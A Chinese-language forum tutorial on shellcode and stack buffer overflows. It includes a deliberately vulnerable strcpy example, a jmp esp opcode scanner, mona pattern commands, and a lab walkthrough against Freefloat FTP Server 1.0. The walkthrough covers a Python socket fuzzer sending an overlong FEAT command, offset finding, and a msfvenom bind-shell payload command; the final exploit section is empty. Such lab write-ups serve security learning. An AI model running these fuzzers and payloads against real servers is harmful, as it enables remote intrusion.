其他
从shellcode学习到缓冲区溢出实战
一、shellcode1.1 简介1.2 缓冲区溢出
溢出示例
规划缓冲区
跳板技术
抬高栈顶保护shellcode
显示载入的模块
查找机器码
fuzzing
利用
>>>> 1.1 简介
1.1 简介
Exploit负责将程序导向shellcode,shellcode又称为payload。
>>>> 1.2 缓冲区溢出
1.2 缓冲区溢出
溢出示例
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
规划缓冲区
>>>> 1.3 字符串转16进制脚本
1.3 字符串转16进制脚本
push ebx
push 0x0075696C
push 0x68636574
而且push只能操作DWORD大小的数据,所以需要对字符串进行切分入栈。
在py脚本后直接跟转化的字符串即可,生成的16进制从下到上依次入栈。
脚本内容:
import sys
BLOCK = 4
if __name__ == '__main__':
des_str = sys.argv[1]
if not des_str:
print("Not argv[1]!")
exit(0)
if isinstance(des_str, str):
des_str = des_str.encode()
# str_len = len(des_str);
start = 0;
while True:
try:
cur_str = des_str[start:start+4].ljust(4, b'\0')
if cur_str == b'\0\0\0\0':
break
hex_str = cur_str.hex()
int_str = int(hex_str,16)
pack_str = struct.pack(b'<l', int_str)
print("%4s:\t0x%s" % (cur_str.strip(b'\0').decode(), pack_str.hex().upper()))
start = start + 4
except:
print("Error!!")
exit(0)
>>>> 1.4 几种技巧
1.4 几种技巧
跳板技术
main()
{
HINSTANCE hLib;
hLib = LoadLibrary("user32.dll");
if(!hLib)
{
printf("Load dll error!\n");
exit(0);
}
byte* ptr = (byte*) hLib;
int address;
int position;
bool done_flag = false;
for(position=0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
// jmp esp 的机器码 为 0xFFE4
address = (int)ptr + position;
printf("Find OPcode at 0x%08lX\n", address);
}
}
catch(...)
{
address = (int)ptr + position;
printf("End of 0x%08lX\n", address);
done_flag = true;
}
}
}
抬高栈顶保护shellcode
抬高栈顶可以用sub esp, N,N大于shellcode长度即可。
>>>> 2.1 参考
2.1 参考
https://github.com/corelan/mona
>>>> 2.2 配置符号路径
2.2 配置符号路径
然后,写入符号路径:
>>>> 2.3 安装python
2.3 安装python
>>>> 2.4 配置windbg
2.4 配置windbg
cd "C:\Program Files (x86)\Common Files\Microsoft Shared\VC"
regsvr32 msdia90.dll
(You should get a messagebox indicating that the dll was registered successfully)
>>>> 2.5 常用mona命令
2.5 常用mona命令
显示载入的模块
查找机器码
!py mona.py pattern_create 300
!py mona.py pattern_offset 0x41424345
>>>> 2.6 在Immunity Debugger中使用mona
2.6 在Immunity Debugger中使用mona
>>>> 3.1 简介
3.1 简介
>>>> 3.2 参考
3.2 参考
Part 2: Saved Return Pointer Overflows
[翻译]Windows Exploit开发系列教程第二部分:Saved Return Pointer Overflows
Freefloat FTP Server 1.0 溢出漏洞分析
FreeFloat FTP1.0 溢出漏洞分析
Buffer Overflows Exploits
>>>> 3.3 分析工具
3.3 分析工具
mona [项目主页]
Immunity Debugger [主页]
IDA 7.0 x86
win7 x64
kali 2.0 (主要用msf工具)
FTPServer.exe 1.0 [主页]
python 2.7
>>>> 3.4 Start
3.4 Start
fuzzing
(1)msf方式
然后进入msfconsole不报错了就行。
首先搜一下ftp fuzzing的模块,命令search fuzzing。
输入info查看信息,RHOST填入即可。
看到2次异常后程序崩溃,应该是可以溢出。
(2)python
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.80.128', 21))
evil = 'A' * 300
payload = 'FEAT ' + evil + '\r\n'
s.send(payload)
s.close()
找到覆盖返回地址的偏移
然后利用之前的python脚本发送payload,程序停下之后单步找到造成异常的地方,字啊这里之前的脚本有点bug,单步后并未发现异常,在栈区也没有看到一连串的A,修改脚本,在send之前先recv,再次运行脚本可单步即找到异常点。
我试了试,不放入Immunity中,直接对程序发送payload,会正确触发异常,但是到Immunity中单步就不行了。
{
char buf; // [esp+10h] [ebp-100h]
char v5; // [esp+11h] [ebp-FFh]
char v6; // [esp+12h] [ebp-FEh]
char v7; // [esp+13h] [ebp-FDh]
char v8; // [esp+14h] [ebp-FCh]
buf = (char)a2 / 100 + 48;
v7 = 32;
v5 = a2 / 10 % 10 + 48;
v6 = a2 % 10 + 48;
strcpy(&v8, a3);
strcat(&buf, asc_40A588);
return send(*this, &buf, strlen(&buf), 0);
}
通过进一步观察复制到缓冲区中的内容为'客户端发来的数据',前后都有引号包裹,发现了缓冲区的大小,就要想办法找到返回地址的偏移位置。缓冲区布局有两种可能:
判定的方法为:在函数开头观察入栈情况,有push ebp则为前一种布局,否则是后者。
观察该函数的汇编代码,可发现为后者,并没有保存原始ebp。
缓冲区共252,所以对于'FEAT {pattern}',在{pattern}的246处放置跳板地址。
简便方法:使用mona生成模式串。
locate pattern_create
进入目录后,执行脚本生成模式串
pattern_create.rb -l 300
查询偏移
pattern_offset.rb -q 41326941
利用
(1)寻找跳板地址
这个跳板地址放在模式偏移246的位置。
(2)构造shellcode
需要用到kali,或带有msf的机器。
命令:
msfvenom -p windows/shell_bind_tcp LPORT=5555 -f c -b '\x00\x0a\x0d'
(3)最终EXP
End
看雪ID:techliu
https://bbs.pediy.com/user-860174.htm
推荐文章++++